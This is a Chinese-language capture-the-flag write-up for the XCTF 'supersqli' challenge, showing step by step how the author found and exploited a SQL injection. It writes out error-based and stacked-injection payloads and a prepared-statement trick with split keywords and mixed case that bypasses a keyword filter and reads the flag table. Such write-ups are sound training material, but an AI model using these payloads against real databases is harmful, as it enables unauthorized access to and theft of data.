进来有个输入框,看内容应该是var_dump了sql查询结果

XCTF-supersqli

单引号有报错,万能语句能用,注释符#没被ban

XCTF-supersqli

打了个union select,给提示ban了一堆关键字,而且忽略大小写

XCTF-supersqli

想了下,想到一个

之前做过一道php的题,利用的是preg_match的一个特性,它在匹配后会转换unicode,所以把select转换成unicode编码传入就可以了

回显已经转义,但还是会一直报错,猜测是unicode编码里的#影响了代码的执行

XCTF-supersqli

试试报错注入1' or extractvalue(rand(),concat(0x7e,database())) #

能爆出库名supersqli

然后在搜bypass的时候看到了堆叠注入

想了下刚好可以用堆叠

0'; use supersqli; show tables;,爆出表名

XCTF-supersqli

0'; use supersqli; show columns from `1919810931114514`; #

爆出字段名

XCTF-supersqli

最后查flag难住了,不知道怎么绕

去看了wp,这里要用sql的预编译

sql预编译的语法

set 设置查询语句

prepare 进行编译并命名

execute 执行

0'; set @sql=concat('se','lect * from `1919810931114514`;');prepare sqli from @sql;execute sqili; #

还有个strstr过滤

XCTF-supersqli

strstr不能区分大小写,混写一下就可以了

payload

0';sEt @sql=concat('se','lect * from `1919810931114514`;');pRepare sqli from @sql;execute sqli;

安利这篇write up,比我写的好n倍

收获姿势:

  • 堆叠注入+预编译绕过select被ban
  • 大小写混合绕过strstr

相关文章:

  • 2022-12-23
  • 2021-07-25
  • 2021-06-06
  • 2021-11-07
  • 2021-04-17
  • 2021-04-06
  • 2021-07-18
  • 2021-11-30
猜你喜欢
  • 2021-06-27
  • 2022-12-23
  • 2021-10-16
  • 2021-10-20
  • 2021-04-05
  • 2021-12-24
  • 2021-08-04
相关资源
相似解决方案